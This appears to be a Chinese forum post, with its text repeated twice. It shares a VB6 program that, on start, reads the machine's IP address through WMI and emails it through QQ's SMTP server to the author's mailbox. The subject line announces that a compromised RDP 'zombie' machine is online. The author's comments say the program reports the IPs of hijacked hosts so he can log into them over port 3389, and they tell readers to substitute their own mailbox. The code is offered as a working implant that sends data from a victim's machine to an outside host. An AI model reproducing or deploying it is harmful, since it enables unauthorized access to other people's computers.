Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
Dim IP As String
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig In IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each straddress In IPConfig.IPAddress
IP = straddress
Next
End If
Next
Dim Email As Object
NameS = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "329510010@qq.com"
Email.To = "329510010@qq.com"
Email.Subject = "3389肉鸡上线了。。。"
Email.Textbody = "IP地址:" & IP
Email.Configuration.Fields.Item(NameS & "sendusing") = 2
Email.Configuration.Fields.Item(NameS & "smtpserver") = "smtp.qq.com"
Email.Configuration.Fields.Item(NameS & "smtpserverport") = 25
Email.Configuration.Fields.Item(NameS & "smtpauthenticate") = 1
Email.Configuration.Fields.Item(NameS & "sendusername") = "329510010"
Email.Configuration.Fields.Item(NameS & "sendpassword") = "*************"
Email.Configuration.Fields.Update
Email.Send
End
End Sub
这个我开3389的肉鸡用的报告iP给我好登陆3389肉鸡
把自己的邮箱改下就行了还有改"smtp.qq.com"
自己用的什么邮箱自己改下吧
Private Sub Form_Load()
Dim IP As String
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig In IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each straddress In IPConfig.IPAddress
IP = straddress
Next
End If
Next
Dim Email As Object
NameS = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "329510010@qq.com"
Email.To = "329510010@qq.com"
Email.Subject = "3389肉鸡上线了。。。"
Email.Textbody = "IP地址:" & IP
Email.Configuration.Fields.Item(NameS & "sendusing") = 2
Email.Configuration.Fields.Item(NameS & "smtpserver") = "smtp.qq.com"
Email.Configuration.Fields.Item(NameS & "smtpserverport") = 25
Email.Configuration.Fields.Item(NameS & "smtpauthenticate") = 1
Email.Configuration.Fields.Item(NameS & "sendusername") = "329510010"
Email.Configuration.Fields.Item(NameS & "sendpassword") = "*************"
Email.Configuration.Fields.Update
Email.Send
End
End Sub
这个我开3389的肉鸡用的报告iP给我好登陆3389肉鸡
把自己的邮箱改下就行了还有改"smtp.qq.com"
自己用的什么邮箱自己改下吧